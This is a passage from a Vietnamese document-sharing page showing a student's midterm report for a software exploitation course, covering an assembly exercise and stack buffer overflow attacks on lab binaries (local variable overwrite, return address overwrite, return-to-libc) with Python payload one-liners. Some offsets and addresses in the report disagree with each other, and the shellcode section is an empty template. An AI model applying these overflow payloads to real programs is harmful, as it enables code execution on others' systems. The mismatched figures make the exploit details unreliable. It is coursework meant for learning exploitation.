1. Trang chủ
  2. » Luận Văn - Báo Cáo

Khai thác lỗ hổng phần mềm part2

13 110 2

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 13
Dung lượng 625,21 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

BÁO CÁO KẾT QUẢ BÀI THI GIỮA KỲ KHAI THÁC LỖ HỔNG PHẦN MỀM Thông tin sinh viên Số thứ tự: 08 Họ và tên: Nguyễn Thị Kim Huế Câu 1 2 điểm... Ghi đè biến cục bộ Xác định khoảng cách - Bước

Trang 1

BÁO CÁO KẾT QUẢ BÀI THI GIỮA KỲ KHAI THÁC LỖ HỔNG PHẦN MỀM Thông tin sinh viên

Số thứ tự: 08

Họ và tên: Nguyễn Thị Kim Huế

Câu 1 (2 điểm) Viết chương trình hợp ngữ

Đề bài :

x = ((23-STT) % 6) + 1 = 4

Thực hiện đề 4.Viết chương trình tính tổng các chữ số trong số nguyên không

âm 32 bít

Chương tình hợp ngữ:

Chương trình là "exercise1.asm"

global _start:

_start:

push 123456789

call attt

xor ebx, ebx

mov eax, 1

int 80h

attt:

push ebp

mov ebp, esp

mov eax, [ebp + 8]

xor ebx, ebx

mov ecx, 10

loop:

cmp eax, 0

jz break

xor edx, edx

div ecx

add ebx, edx

continue:

jmp loop

Trang 2

mov eax, ebx

mov ebx, [ebp + 8]

mov esp, ebp

pop ebp

ret 4

Kết quả chạy thử với số 123456789

- Đặt Break tại hàm loop

- Run cho đên khi Eax=0

- Kết quả lưu tại thanh ebx = 45

Trang 4

Kết quả chạy thử với số 0

Kết quả chạy thử với số 135

Trang 6

Câu 2 (2 điểm) Ghi đè biến cục bộ

Xác định khoảng cách

- Bước 1: Quan sát code chương trình:

- Tạo file thực thi bằng GCC:

Trang 7

- Bước 2: Phân tích tệp thực thi exercise2

- Để thực thi chương trình nhận được kết quả “You won!”, thì v2 <0

- Biến v1 nằm ở vị trí esp+3h và v2 nằm ở vị trí esp+1BCh

- Như vậy biến v2 nằm sau biến v1 một khoảng : 1BC-3= 441 byte

- Để giải được bài này ta cần chèn thêm một chuỗi 441 byte bất kỳ sau đó chèn thêm một chuỗi số âm bất kì : ví dụ ở đây em lấy giá trị ( -8 = FFFFFFFFFFFFFFF8)

Mã khai thác bằng ngôn ngữ Python

python -c 'print "A"*441 + "\xf8\xff\xff\xff "' | /exercise2

Kết quả khai thác

Câu 3 (2 điểm) Ghi đè địa chỉ trả về

- Code chuơng trình:

Trang 8

-Xác định khoảng cách

- Đặt Breack poiut tại địa chỉ sau hàm Gets Tức đặt tại 0x080484ac

- Địa chỉ Buff là : 0xbfffed8f

Trang 9

Địa chỉ return là : 0xbffff00c

- Vậy khoảng cách từ buff tới địa chỉ trả về là : 0xbffff00c- 0xbfffed8f= 367

Xác định địa chỉ trả về mới

Địa chỉ mới cần trả về là địa chỉ của hàm win : 0x0804846b

-Mã khai thác bằng ngôn ngữ Python

Python ‘print ”A”*637 +”\x6b\x84\x04\x08” ’ | /exercise3

Trang 10

Kết quả khai thác

Câu 4 (1 điểm) Return to LibC

Xác định khoảng cách

- Chương trình exercise4.c

- Biên dịch chương trình bằng lệnh gcc exercise4.c –o exercise4 –z execstack -fno-stack-protector

- Tạo 1 file win in ra dòng chữ “You win!”

- Đặt Breackpoint tại địa chỉ sau hàm Gets Tức đặt tại 0x0804849a

Trang 11

- Địa chi buff là : 0xbfffec00

- Địa chỉ eip là : 0xbffff00c

Vậy khoảng giữa buff và eip là : 0xbffff00c 0xbfffec00 =1036 = 40C

- Chạy chương trình lấy điạ chỉ buff : 0xbfffec50

Trang 12

-Xác định hàm libc cần dùng

- Ở đây ta sẽ sử dụng hàm thư viện chuẩn của LibC là: System

- Và ta dùng print system để in ra địa chỉ của system là: 0xb7e45da0

- Ta lấy địa chỉ của Buf cộng thêm 40C để tính ra địa chỉ ret address là: BFFFF05C

- Từ đây ta sẽ có địa chỉ hàm sys là BFFF F068

Cấu trúc của stack

Mã khai thác bằng ngôn ngữ Python

python -c 'print "A"*1036 + "\xa0\x5d\xe4\xb7" +"BBBB" +"\x68\xf0\xff\xbf" + "./win"'|./exercise4

python -c 'print "A"*1676 + "\xa0\x5d\xe4\xb7" +"BBBB" +"\x28\xf0\xff\xbf" + "./win"'|./exercise3

Kết quả khai thác

Kết quả khai thác là in ra “You won!”

Trang 13

Câu 5 (3 điểm) Shellcode

Mã assembly của shellcode

[Đưa mã assembly của shellcode vào đây (dùng text, không dùng ảnh)]

Shellcode

[Trình bày cách thức và kết quả trích xuất shellcode từ chương trình đã viết Tất

cả sử dụng text, không sử dụng hình]

Chạy thử shellcode

[Trình bày kết quả chạy thử shellcode]

Mô hình stack

[Trình bày các bước tính toán để xác định mô hình stack trước và sau khi đưa

mã khai thác vào Vẽ hình để thể hiện cấu trúc stack tương ứng]

Mã khai thác

[Nội dung chương trình sinh mã khai thác bằng Python]

Kết quả

[Chụp hình thể hiện các lệnh để cấu hình, biên dịch, thực thi và kết quả khai thác]

Ngày đăng: 16/10/2019, 11:00

TỪ KHÓA LIÊN QUAN

w